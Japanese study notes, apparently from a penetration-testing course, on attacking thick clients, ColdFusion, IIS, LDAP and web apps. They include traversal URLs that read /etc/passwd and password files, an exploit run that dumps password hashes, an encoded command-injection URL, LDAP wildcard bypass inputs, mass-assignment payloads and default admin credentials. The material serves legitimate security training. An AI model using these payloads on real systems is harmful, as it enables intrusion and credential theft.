- 厚いクライアントでもサーバーと通信する以上、ネットワーク層の分析が有効
- JARファイルなどのローカル解析が重要
- セキュリティ対策(署名や検証)も突破できる場合がある
- 脆弱性はWebだけではなく「クライアント⇔サーバー間の設計」にも潜む
アプリへのログイン後の操作
- 「Login Successful!」メッセージでログイン成功を確認
- Profile -> Whoami:現在のユーザーが「一般ユーザー」であることを確認
- ServerStatus:操作不可 → より高権限のユーザーの存在を示唆
情報収集
- FileBrowser -> Notes.txt:
security.txt
に未修正の脆弱性が存在 - FileBrowser -> Mail -> dave.txt:
- 管理者ユーザーがDBから削除されている
- タイムベースのSQLインジェクション対策が入っている(タイムアウト処理)
パストラバーサル攻撃
../../../../../../etc/passwd
などの入力を試みる/
がフィルターされているため失敗
- JD-GUIでJARファイルをデコンパイルしてソースを確認
Invoker.java
のshowFiles
関数を特定ClientGuiTest.java
内で"configs"
→".."
に変更しフォルダ遷移を試す
Javaコードの修正と再ビルド
ClientGuiTest.java
を修正してコンパイル- 元のJARから必要ファイルを抽出し、変更した
.class
ファイルと置き換え jar -cmf
コマンドで新しいJAR(例:traverse.jar)を作成
パストラバーサル成功と興味深いファイル
configs/../
にアクセス成功fatty-server.jar
,start.sh
などが確認できる
start.sh
からアプリがAlpine Dockerコンテナ内で動作していることが分かる
ファイルのダウンロード機能の追加
Invoker.java
のopen
関数を修正してファイルをローカルに保存できるようにする- Javaの
FileOutputStream
を使ってDesktop
に保存
- Javaの
- 再度ビルドし、アプリ起動→ファイル名入力→Open実行で
.jar
を取得
ColdFusion
- Java をベースにしたプログラミング言語および Web アプリケーション開発プラットフォーム
- ColdFusion は、MySQL、Oracle、Microsoft SQL Server などのさまざまな API やデータベースに接続できる動的かつインタラクティブな Web アプリケーションの構築に使用される
- ColdFusionで開発するため、独自言語のColdFusion Markup Language (CFML)を使用する
- HTML に似た構文を持ち、Web 開発者にとって習得しやすいのが特徴
- CFML には、データベース連携、Web サービス、メール処理など、一般的な Web 開発タスクに対応するタグや関数が用意されている
<cfquery>
タグを使えばデータベースからのデータ取得が可能
利点 | 説明 |
---|---|
データ駆動型 Web アプリ開発 | セッション管理、フォーム処理、デバッグ機能などにより、リッチで応答性の高い Web アプリケーションを迅速に構築可能。 |
データベースとの統合 | Oracle、SQL Server、MySQL などとの接続が簡単。データの取得・操作・表示がしやすい。 |
Webコンテンツ管理の簡素化 | 動的HTML生成、フォーム作成、URL書き換え、ファイルアップロード、大規模フォームの処理が容易。AJAX 対応も可能。 |
パフォーマンス | 低レイテンシー・高スループットに最適化され、同時接続数が多くても安定した動作を維持。 |
コラボレーション | リアルタイムのコード共有、デバッグ、バージョン管理など、チーム開発を支援。 |
セキュリティと脆弱性 |
- ColdFusionは他のwebappと同様に、さまざまな攻撃に対して脆弱だった
- いくつかcveもある
ColdFusion がデフォルトで開放しているポート
ポート番号 | プロトコル | 用途 |
---|---|---|
80 | HTTP | Webサーバーとブラウザ間の非暗号化通信 |
443 | HTTPS | Webサーバーとブラウザ間の暗号化通信 |
1935 | RPC | クライアント・サーバー間のRPC通信 |
25 | SMTP | メール送信 |
8500 | SSL | ColdFusionサーバーとのSSL通信 |
5500 | Server Monitor | ColdFusion サーバーのリモート管理用 |
列挙と情報収集
方法 | 説明 |
---|---|
ポートスキャン | ColdFusion は通常、HTTP 用にポート 80、HTTPS 用にポート 443 を使用する。 これらのポートをスキャンすることで、ColdFusion サーバーの存在が示唆される場合がある。 Nmap のサービススキャンで ColdFusion を特定できることもある |
ファイル拡張子 | ColdFusion のページは通常、.cfm や .cfc といったファイル拡張子を使用する。 これらの拡張子を持つファイルを発見した場合、アプリケーションが ColdFusion を使用している可能性がある |
HTTP ヘッダー | Web アプリケーションの HTTP 応答ヘッダーを確認する ColdFusion は特有のヘッダー(例:“Server: ColdFusion” や “X-Powered-By: ColdFusion”)を設定している。 |
エラーメッセージ | アプリケーションでエラーが発生した場合、そのエラー内容に ColdFusion 固有のタグや関数名が含まれていることがある |
デフォルトファイル | ColdFusion をインストールすると、admin.cfm や CFIDE/administrator/index.cfm などのデフォルトファイルが作成されるこれらのファイルが Web サーバー上に存在していれば、ColdFusion が使われている可能性が高い |
攻撃
- coldfusionのバージョンわかったら、searchsploitで検索しようね〜
- なんかこの二つとか、良さそうだよね〜
- Adobe ColdFusion - Directory Traversal
- Adobe ColdFusion 8 - Remote Command Execution(RCE)
Directory Traversal
- ColdFusionだと、ファイル操作に CFFile や CFDIRECTORY タグが使われており、攻撃者はそのパラメータを改ざんすることで任意のファイルへアクセスできる
- CVE-2010-2861
攻撃対象のコード
- コードでは、uploads/ ディレクトリのファイルを一覧表示する
<cfdirectory directory="#ExpandPath('uploads/')#" name="fileList">
<cfloop query="fileList">
<a href="uploads/#fileList.name#">#fileList.name#</a><br>
</cfloop>
しかし、directory パラメータに対するバリデーションがないため、攻撃者は以下のように入力を改ざんできる
http://example.com/index.cfm?directory=../../../etc/&file=passwd
影響を受けるファイル例
- CFIDE/administrator/settings/mappings.cfm
- logging/settings.cfm
- datasources/index.cfm
- j2eepackaging/editarchive.cfm
- CFIDE/administrator/enter.cfm
攻撃の例:locale パラメータの改ざん
- 正常な使われ方
http://www.example.com/CFIDE/administrator/settings/mappings.cfm?locale=en
- ディレクトリトラバーサル
http://www.example.com/CFIDE/administrator/settings/mappings.cfm?locale=../../../../../etc/passwd
password.properties ファイル
- さまざまなサービスやリソースの暗号化されたパスワードを安全に保存する設定ファイル
- このファイルには「キーと値のペア」が一覧で記録されており、キーはリソース名、値はそのリソースに対応する暗号化パスワードを表す
- ColdFusion はこのファイルを用いて、以下のようなサービスへの接続時に認証情報を自動取得する
- データベース接続
- メールサーバー
- LDAP サーバー
- その他、認証を必要とする外部サービス
CVEのPoCの実行方法
snowyowl644@htb[/htb]$ python2 14641.py 10.129.204.230 8500 "../../../../../../../../ColdFusion8/lib/password.properties"
------------------------------
trying /CFIDE/wizards/common/_logintowizard.cfm
title from server in /CFIDE/wizards/common/_logintowizard.cfm:
------------------------------
#Wed Mar 22 20:53:51 EET 2017
rdspassword=0IA/F[[E>[$_6& \\Q>[K\=XP \n
password=2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03
encrypted=true
------------------------------
...
Unauthenticated RCE
以下のようなコードで、RCEが発生することが多い
- cmd 変数にクエリ文字列の内容が代入され、その内容が cfexecute タグで Windows の cmd.exe を通じて実行される
- 認証も入力検証もないため、攻撃者が任意のコマンドを URL に含めるだけで、サーバー側でそのコマンドが実行されてしまう
<cfset cmd = "#cgi.query_string#">
<cfexecute name="cmd.exe" arguments="/c #cmd#" timeout="5">
以下のように、エンコードして実行する
- ;(セミコロン)を使って、正規の処理の後に追加で任意のコマンドを実行する
- echo コマンドによりテキストファイルが作成され、サーバーが侵害されたことを証明するファイルが C:\ に出力される
# Decoded: http://www.example.com/index.cfm?; echo "This server has been compromised!" > C:\compromise.txt
http://www.example.com/index.cfm?%3B%20echo%20%22This%20server%20has%20been%20compromised%21%22%20%3E%20C%3A%5Ccompromise.txt
有名なColdFusionのUnAuthenticated RCE
- CVE-2009-2265
- PoCのPythonを調整する必要がある
- リバースシェルで取得できる
IIS
IIS : Internet Information Services
- 隠されたファイルやディレクトリ、8.3形式の短縮ファイル名(ショートネーム) を特定するために使われる技術
8.3形式のファイル名とは
- Windows では、ファイルやフォルダが作成されると、自動的に 8文字のファイル名 + ピリオド + 3文字の拡張子 という形式の「短縮名(8.3形式)」が割り当てられる
- この短縮名は本来のファイル名とは異なる形式ですが、一部の状況では、短縮名を使ってファイルやフォルダにアクセス可能になってしまうことがある
IIS チルダ(~)列挙
- 短縮ファイル名では、チルダ(~)と数字を使って、短縮表現を行う(例:secret~1)。
- そのため、攻撃者が短縮ファイル名を予測できれば、チルダ付きのパスで直接アクセスすることが可能
- この列挙は、URL に様々な文字列を付加して HTTP リクエストを送り、サーバーからのレスポンス(ステータスコード)によって存在するディレクトリやファイルの短縮名を推測するという手法
列挙のステップ
たとえば、ターゲットサーバーに SecretDocuments という隠しディレクトリがあったとする
ディレクトリの列挙
1文字の試行
- aからzまで順に試す
- sの時にステータスコード200を返す
- sから始まる短縮ディレクトリが存在していることがわかる
- sの時にステータスコード200を返す
http://example.com/~a
http://example.com/~b
http://example.com/~c
...
文字を追加して再試行
- s の後に、a-zをつけてまた試行する
http://example.com/~se
にリクエストを送ると、サーバーは再び 200 OK を返す
http://example.com/~se
http://example.com/~sf
http://example.com/~sg
...
その後も文字を追加して再試行する
http://example.com/~sec
http://example.com/~sed
http://example.com/~see
ファイル名の列挙
- 短縮名 secret~1 が判明すると、そのディレクトリ内の具体的なファイル名の列挙が可能になり、機密性の高いドキュメントが漏洩する可能性も出てくる
- 繰り返していくと、このようなリクエストでファイルにアクセスできる
http://example.com/secret~1/somefile.txt
http://example.com/secret~1/anotherfile.docx
ファイル自体の 8.3 短縮名の列挙も可能
- IISのチルダ列挙テクニックを使えば、ディレクトリ内のファイルにも適用される 8.3形式の短縮ファイル名を検出することができる
- これにより、短縮名を使ってファイルへ直接アクセスすることが可能になる
- このような 8.3形式の短縮名では、たとえば somefi~1.txt に含まれる「1」は、同じディレクトリ内で似た名前のファイルを区別するための番号
- この番号により、ファイルシステムは似たような名前を持つ複数のファイルを区別し、それぞれに一意な短縮名を割り当てることができる
- 具体例:
同じディレクトリに以下の2つのファイルが存在する場合
- somefile.txt
- somefile1.txt
それぞれの 8.3形式の短縮ファイル名は次のようになる - somefi~1.txt(→ somefile.txt)
- somefi~2.txt(→ somefile1.txt)
自動化ツール : IIS ShortName Scanner
- IIS ShortName Scanner を使った Tilde 列挙
インストール
- プロキシの使用を聞かれるが「Enter」を押してスキップしてOK
git clone https://github.com/irsdl/IIS-ShortName-Scanner.git
実行
- プロキシの使用を聞かれますが「Enter」を押してスキップしてOK
java -jar iis_shortname_scanner.jar 0 5 http://10.129.204.231/
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Do you want to use proxy [Y=Yes, Anything Else=No]?
# IIS Short Name (8.3) Scanner version 2023.0 - scan initiated 2023/03/23 15:06:57
Target: http://10.129.204.231/
|_ Result: Vulnerable!
|_ Used HTTP method: OPTIONS
|_ Suffix (magic part): /~1/
|_ Extra information:
|_ Number of sent requests: 553
|_ Identified directories: 2
|_ ASPNET~1
|_ UPLOAD~1
|_ Identified files: 3
|_ CSASPX~1.CS
|_ Actual extension = .CS
|_ CSASPX~1.CS??
|_ TRANSF~1.ASP
http://10.129.204.231/TRANSF~1.ASP
に GETアクセスが拒否されるため、ファイル名の完全な列挙を試みる必要がある
ワードリストの作成
- Pwnbox 環境には /usr/share/wordlists/ に多くのワードリストがプリインストールされている
- それらを活用して「transf」で始まる語句だけを抽出することができる
egrep -r ^transf /usr/share/wordlists/* | sed 's/^[^:]*://' > /tmp/list.txt
コマンド部分 | 説明 |
---|---|
egrep -r | |
「transf」で始まる行を再帰的に検索 | |
` | ` |
sed 's/[1]*://' | 行頭から最初のコロン(:)までを削除(ファイル名除去) |
> /tmp/list.txt | 結果を /tmp/list.txt に保存 |
GoBuster を使った列挙
- 作成したカスタムワードリストを使用して、GoBuster によってディレクトリ/ファイル列挙を行う
- GoBuster は Go言語製のオープンソースツールで、Webサーバー上の隠しリソースをブルートフォースで発見できる
gobuster dir -u http://10.129.204.231/ -w /tmp/list.txt -x .aspx,.asp
-
この結果から、TRANSF~1.ASP に対応する 完全なファイル名(.aspx拡張子) を GoBuster が特定したことがわかる
-
IIS 7.5 では Tilde(~)列挙が可能な場合がある
-
IIS ShortName Scanner を使えば自動列挙できる
-
.aspx ファイルなどの短縮名から本来のファイル名を推測しアクセス可能
-
アクセス拒否されるファイルは GoBuster + カスタムワードリストで補完できる
列挙
Nmapでの確認
- ポート 80 上で IIS 7.5 が動作していることが判明した
- このバージョンに対しては Tilde Enumeration 攻撃 が有効である可能性がある
nmap -p- -sV -sC --open 10.129.224.91
Starting Nmap 7.92 ( https://nmap.org ) at 2023-03-14 19:44 GMT
Nmap scan report for 10.129.224.91
Host is up (0.011s latency).
Not shown: 65534 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Bounty
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
LDAP
- LDAP(軽量ディレクトリアクセスプロトコル) は、ディレクトリ情報へのアクセスや管理に使用されるプロトコル
- ディレクトリとは、ユーザー、グループ、コンピュータ、プリンタなどのネットワークリソースに関する情報を階層構造で管理するデータストアのこと
機能 | 説明 |
---|---|
効率性 | 軽量なクエリ言語と非正規化データ構造により、高速かつ効率的にディレクトリサービスへ接続できます。 |
グローバル命名モデル | 複数の独立したディレクトリをサポートし、グローバルに一意のエントリ名を実現します。 |
拡張性と柔軟性 | カスタム属性やスキーマを定義できるため、将来的なニーズやローカル要件に対応できます。 |
互換性 | TCP/IP や SSL 上で動作し、プラットフォーム非依存なため、異種OS環境でも利用可能です。 |
認証機能 | シングルサインオンなど、安全に複数リソースへアクセス可能な認証機構を備えています。 |
LDAPの課題 |
機能 | 説明 |
---|---|
準拠性 | LDAP準拠のサーバーが必要なため、製品やベンダーの選択肢が制限されることがあります。 |
複雑性 | 開発者や管理者にとって、設定や運用が難しい場合があり、セキュリティ上のミスを招く可能性があります。 |
暗号化 | 通常は通信が暗号化されていないため、盗聴や改ざんのリスクがあります。LDAPS や StartTLS を使うべきです。 |
インジェクション | LDAPインジェクションの脆弱性が存在し、適切な入力検証が行われないと不正アクセスが可能になります。 |
LDAPの代表的な実装 |
- OpenLDAP:オープンソースの実装で広く利用されている
- Microsoft Active Directory(AD):Windowsベースで、Microsoft製品との統合が容易
LDAP と Active Directory の違い
LDAP | Active Directory (AD) |
---|---|
ディレクトリサービスへのアクセスや操作方法を定めたプロトコル | LDAP を使用してユーザーやコンピュータを管理するディレクトリサービス |
クロスプラットフォームでオープンな仕様 | Windows 専用で、DNSやKerberosとの統合が必要 |
柔軟で拡張可能なスキーマを持つ | Windows 固有のスキーマが定義されており、変更には注意が必要 |
様々な認証方式(例:SASL, simple bind)に対応 | 主に Kerberos を使用、互換性のために NTLM や LDAP over SSL/TLS もサポート |
LDAPの仕組み |
- LDAPはクライアント-サーバ型のアーキテクチャで動作する
- クライアントはLDAPメッセージを使ってサーバーへリクエストを送信
- サーバーは要求を処理し、同じ形式のレスポンスメッセージを返す
- LDAPメッセージは ASN.1 でエンコードされ、TCP/IP 上で送信される
LDAPがサポートする代表的な操作
- bind(接続)
- unbind(切断)
- search(検索)
- compare
- add
- delete
- modify
LDAPリクエストの構成
- セッション接続:クライアントは通常ポート389(または636)でサーバに接続
- リクエストタイプ:実行したい操作(検索、追加など)を指定
- パラメータ:DN(識別名)、検索条件、属性などを含める
- リクエストID:レスポンスと紐付けるための一意の識別子
サーバーレスポンスの構成
- レスポンスタイプ:実行された操作の種類
- 結果コード:成功/失敗や理由
- 一致したDN:(あれば)最も近い一致エントリのDN
- リファラル:他サーバーの情報(必要な場合)
- レスポンスデータ:検索結果や変更後の属性など
ldapsearch コマンド
ldapsearch -H ldap://ldap.example.com:389 -D "cn=admin,dc=example,dc=com" -w secret123 -b "ou=people,dc=example,dc=com" "(mail=john.doe@example.com)"
このコマンドの意味
- ldap.example.com のポート389に接続
- "cn=admin,dc=example,dc=com" として secret123 のパスワードでバインド(認証)
- ou=people,dc=example,dc=com 以下を検索
- フィルタ条件:(
mail=john.doe@example.com
)
dn: uid=jdoe,ou=people,dc=example,dc=com
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
cn: John Doe
sn: Doe
uid: jdoe
mail: john.doe@example.com
result: 0 Success
LDAP インジェクション
- LDAP インジェクションは、LDAP を使って認証やユーザー情報を管理するアプリケーションに対する攻撃
- 攻撃者は LDAP クエリに 不正な文字列や構文を挿入して、動作を変更・回避し、機密情報へアクセスすることができる
テストによく使われる特殊文字
- 例:(
cn=*
) という入力は「常に真」になり、認証バイパスに使える
入力 | 説明 |
---|---|
* | 任意の文字列にマッチ |
() | グループ化 |
` | ` |
& | 論理 AND |
攻撃例:認証処理のLDAPクエリ |
(&(objectClass=user)(sAMAccountName=$username)(userPassword=$password))
パターン1:ユーザー名に * を注入
- このクエリは、任意のユーザー名・任意のパスワードで一致する
$username = "*";
$password = "dummy";
(&(objectClass=user)(sAMAccountName=$username)(userPassword=$password))
パターン2:パスワードに * を注入
- ユーザー名が一致すればどんなパスワードでもマッチしてしまう
$username = "dummy";
$password = "*";
(&(objectClass=user)(sAMAccountName=$username)(userPassword=$password))
列挙
- nmapで簡単にLDAPがあるのかどうかがわかる
nmap -p- -sC -sV --open --min-rate=1000 10.129.204.229
389/tcp open ldap OpenLDAP 2.2.X - 2.3.X
- OpenLDAP が稼働しているため、ポート80で動作している Web アプリケーションがLDAP認証を利用している可能性がある
試行
• ユーザー名: *
• パスワード: *
webの一括代入脆弱性
- webの一括代入とは : フォームから送られてきたユーザー入力データをそのままオブジェクトやデータベースに代入することが可能になる
- ホワイトリストによるフィールド制限なしに使用されることが多く、その結果、攻撃者はこの仕組みを悪用して機密情報を盗んだり、データを破壊することができる
一括代入脆弱性とは?
- Webアプリケーションのモデル属性を、HTTPリクエストで送られたパラメータによって変更できる脆弱性
- コードをリバースエンジニアリングすることで、攻撃者は使用されているパラメータを特定し、保護されていない重要なパラメータに値を代入することで、アプリケーションの動作やデータベースの内容を意図的に変更することが可能になる
Ruby on Rails での例
- Ruby on Rails はこの種の攻撃に対して脆弱です。以下のコードでは User モデルに対して一部の属性が mass assignment 対象として定義されている
class User < ActiveRecord::Base
attr_accessible :username, :email
end
- この例では username と email のみが代入を許可されている
- しかし、以下のようなリクエストパラメータをサーバーに送信すると、この admin 属性は attr_accessible に指定されていないにもかかわらず、攻撃者が値を代入できる場合があり、POSTリクエストにこれを含めることで、管理者権限を持ったユーザーを作成することができる
{ "user" => { "username" => "hacker", "email" => "hacker@example.com", "admin" => true } }
一括代入脆弱性の悪用:実践例
- あるアプリケーション「Asset Manager(資産管理)」のコードが提供されており、ユーザー登録後「Success!!」と表示され、ログインを試みると:
- 「アカウントは承認待ちです」というメッセージが表示される
- 管理者による承認が必要な仕様
アプリケーションの /opt/asset-manager/app.py のコードを確認すると以下のようなロジックが記載されている
- このコードから、k(たとえば confirmed フラグ)が True であればログイン可能であることがわかる
- 次のコードでは、登録時に confirmed パラメータを指定すると cond=True が挿入される仕組みになってる
for i,j,k in cur.execute('select * from users where username=? and password=?',(username,password)):
if k:
session['user']=i
return redirect("/home",code=302)
else:
return render_template('login.html',value='Account is pending for approval')
try:
if request.form['confirmed']:
cond=True
except:
cond=False
つまり、Burp Suite などで /register ページの POST リクエストをキャプチャし、confirmed=test を含めることで、このチェックをバイパスできる
サービスに接続するアプリケーションへの攻撃
- サービスに接続されているアプリケーションには、十分に保護されていない場合に漏洩する可能性のある接続文字列が含まれていることがよくある
- 他のサービスに接続しているアプリケーションを列挙・悪用して、その機能を拡張する
- ペネトレーションテスト中に情報を収集したり、ラテラルムーブメントや権限昇格を行ったりする際に有効
ELF 実行ファイルの解析
- octopus_checker というバイナリが、調査中のリモートマシンで発見された
- ローカルでこのアプリケーションを実行してみると、データベースに接続して利用可能か確認する処理を行っていることがわかった
- このバイナリは、おそらく認証情報を含んだ SQL 接続文字列を使って接続していると考えられる
./octopus_checker
Program had started..
Attempting Connection
Connecting ...
The driver reported the following diagnostics whilst running SQLDriverConnect
01000:1:0:[unixODBC][Driver Manager]Can't open lib 'ODBC Driver 17 for SQL Server' : file not found
connected
- PEDA(Python Exploit Development Assistance for GDB)などのツールを使って、さらに解析を進める
- PEDA は GDB(GNU Debugger)の拡張で、C/C++ のデバッグに用いられる
GDB によるデバッグ
snowyowl644@htb[/htb]$ gdb ./octopus_checker
- バイナリが読み込まれたら、表示形式を Intel スタイルに設定し、main() 関数を逆アセンブルする
gdb-peda$ set disassembly-flavor intel
gdb-peda$ disas main
Dump of assembler code for function main:
0x0000555555555456 <+0>: endbr64
0x000055555555545a <+4>: push rbp
0x000055555555545b <+5>: mov rbp,rsp
<SNIP>
0x0000555555555625 <+463>: call 0x5555555551a0 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
0x000055555555562a <+468>: mov rdx,rax
0x000055555555562d <+471>: mov rax,QWORD PTR [rip+0x299c] # 0x555555557fd0
0x0000555555555634 <+478>: mov rsi,rax
0x0000555555555637 <+481>: mov rdi,rdx
0x000055555555563a <+484>: call 0x5555555551c0 <_ZNSolsEPFRSoS_E@plt>
0x000055555555563f <+489>: mov rbx,QWORD PTR [rbp-0x4a8]
0x0000555555555646 <+496>: lea rax,[rbp-0x4b7]
0x000055555555564d <+503>: mov rdi,rax
0x0000555555555650 <+506>: call 0x555555555220 <_ZNSaIcEC1Ev@plt>
0x0000555555555655 <+511>: lea rdx,[rbp-0x4b7]
0x000055555555565c <+518>: lea rax,[rbp-0x4a0]
0x0000555555555663 <+525>: lea rsi,[rip+0xa34] # 0x55555555609e
0x000055555555566a <+532>: mov rdi,rax
0x000055555555566d <+535>: call 0x5555555551f0 <_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1EPKcRKS3_@plt>
0x0000555555555672 <+540>: lea rax,[rbp-0x4a0]
0x0000555555555679 <+547>: mov edx,0x2
0x000055555555567e <+552>: mov rsi,rbx
0x0000555555555681 <+555>: mov rdi,rax
0x0000555555555684 <+558>: call 0x555555555329 <_Z13extract_errorNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEEPvs>
0x0000555555555689 <+563>: lea rax,[rbp-0x4a0]
0x0000555555555690 <+570>: mov rdi,rax
0x0000555555555693 <+573>: call 0x555555555160 <_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev@plt>
0x0000555555555698 <+578>: lea rax,[rbp-0x4b7]
0x000055555555569f <+585>: mov rdi,rax
0x00005555555556a2 <+588>: call 0x5555555551d0 <_ZNSaIcED1Ev@plt>
0x00005555555556a7 <+593>: cmp WORD PTR [rbp-0x4b2],0x0
<SNIP>
0x0000555555555761 <+779>: mov rbx,QWORD PTR [rbp-0x8]
0x0000555555555765 <+783>: leave
0x0000555555555766 <+784>: ret
End of assembler dump.
- いくつかの呼び出し命令(call命令)と、その付近の文字列が見つかる
- これらはSQL 接続文字列の断片と見られますが、順序はバラバラでエンディアンの影響で文字が逆順になっている可能性がある
- さらに関数をたどっていくと、SQLDriverConnect の呼び出し箇所も発見される
関数の後半には、SQLDriverConnectの呼び出しが確認できる
0x00005555555555ff <+425>: mov esi,0x0
0x0000555555555604 <+430>: mov rdi,rax
0x0000555555555607 <+433>: call 0x5555555551b0 <SQLDriverConnect@plt>
0x000055555555560c <+438>: add rsp,0x10
0x0000555555555610 <+442>: mov WORD PTR [rbp-0x4b4],ax
ここでブレークポイントを設定し、再度プログラムを実行すると、RDXレジスタにSQL接続文字列が格納されていることが明らかになります。そこにはローカルデータベースの認証情報も含まれている
gdb-peda$ b *0x5555555551b0
Breakpoint 1 at 0x5555555551b0
gdb-peda$ run**
Starting program: /htb/rollout/octopus_checker
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Program had started..
Attempting Connection
[----------------------------------registers-----------------------------------]
RAX: 0x55555556c4f0 --> 0x4b5a ('ZK')
RBX: 0x0
RCX: 0xfffffffd
RDX: 0x7fffffffda70 ("DRIVER={ODBC Driver 17 for SQL Server};SERVER=localhost, 1401;UID=username;PWD=password;")
RSI: 0x0
RDI: 0x55555556c4f0 --> 0x4b5a ('ZK')
<SNIP>
つまり、RDXの中身に完全な接続文字列(ドライバ、サーバー名、ポート番号、ユーザー名、パスワード)が含まれていたことが確認できた
DRIVER={ODBC Driver 17 for SQL Server};SERVER=localhost,1401;UID=username;PWD=password;
DLLファイルの解析
- DLLファイルとは「ダイナミックリンクライブラリ(Dynamically Linked Library)」のことで、他のプログラムから実行中に呼び出されるコードを含んでいる
- MultimasterAPI.dll というバイナリファイルが、列挙中にリモートマシン上で見つかった
- このファイルを調べたところ、これは .NET アセンブリ(.NETで構築されたプログラム)であることが判明した
DLLのメタデータ確認
C:\> Get-FileMetaData .\MultimasterAPI.dll
<SNIP>
M .NETFramework,Version=v4.6.1 TFrameworkDisplayName.NET Framework 4.6.1 api/getColleagues ! htt
p://localhost:8081*POST Ò^ øJ ø, RSDSœ»¡ÍuqœK£"Y¿bˆ C:\Users\Hazard\Desktop\Stuff\Multimast
<SNIP>
出力から
- HTTPリクエストのエンドポイント(例:api/getColleagues)
- ローカルホスト上のAPI URLなどが含まれていることが分かる。
- さらに、ファイルの作成元ユーザーが”Users\Hazard”であることも読み取れる
dnSpyでも.NETアセンブリのソースコードを確認
dnSpy というデバッガ兼 .NETアセンブリエディタを使用すると、このDLLのソースコードを直接読み取ることができる
解析対象:MultimasterAPI.Controllers -> ColleagueController
その他注目すべきアプリケーション
アプリケーション | 悪用のポイント |
---|---|
Axis2 | Tomcat同様に悪用可能で、Tomcat上に動いていることも多い。TomcatでRCEが取れなければ、Axis2のデフォルト認証情報を試してみる価値がある。AARファイルをアップロードしてWebShell化できる。Metasploitモジュールあり。 |
Websphere | 多数の既知の脆弱性あり。デフォルト認証 (system:manager) で管理画面に入れたら、WARファイルのデプロイでRCE可能。 |
Elasticsearch | 古いバージョンに脆弱性があり、企業の使い残しで見つかることも。HTBの「Haystack」で登場。 |
Zabbix | SQLi、認証バイパス、XSS、LDAPパス漏洩、RCEなど多数の脆弱性あり。Zabbix APIを使ってRCEを取る例もHTB「Zipper」で紹介。 |
Nagios | RCE、特権昇格、SQLi、コードインジェクション、XSSなど多岐にわたる問題あり。nagiosadmin:PASSW0RD のデフォルト認証もチェック必須。 |
WebLogic | Java EEのアプリケーションサーバー。190件以上のCVEあり。2007年~2021年にかけて未認証RCEが多く報告されており、特にJavaのデシリアライズ脆弱性が多い。 |
Wiki / Intranet | MediaWiki、SharePoint、カスタムイントラネットなど。ドキュメント検索から資格情報が見つかることもあり。 |
DotNetNuke (DNN) | .NETベースのCMS。認証バイパス、ディレクトリトラバーサル、XSS、ファイルアップロードバイパスなど深刻な脆弱性が複数あり。 |
vCenter | ESXiを管理する大規模環境でよく使われる。認証情報の漏洩、CVE-2021-22005(OVAファイルの未認証アップロード)など。特にWindows版ではSYSTEMやドメイン管理者権限で動いていることもあり、侵入口として非常に有用。 |
^: ↩︎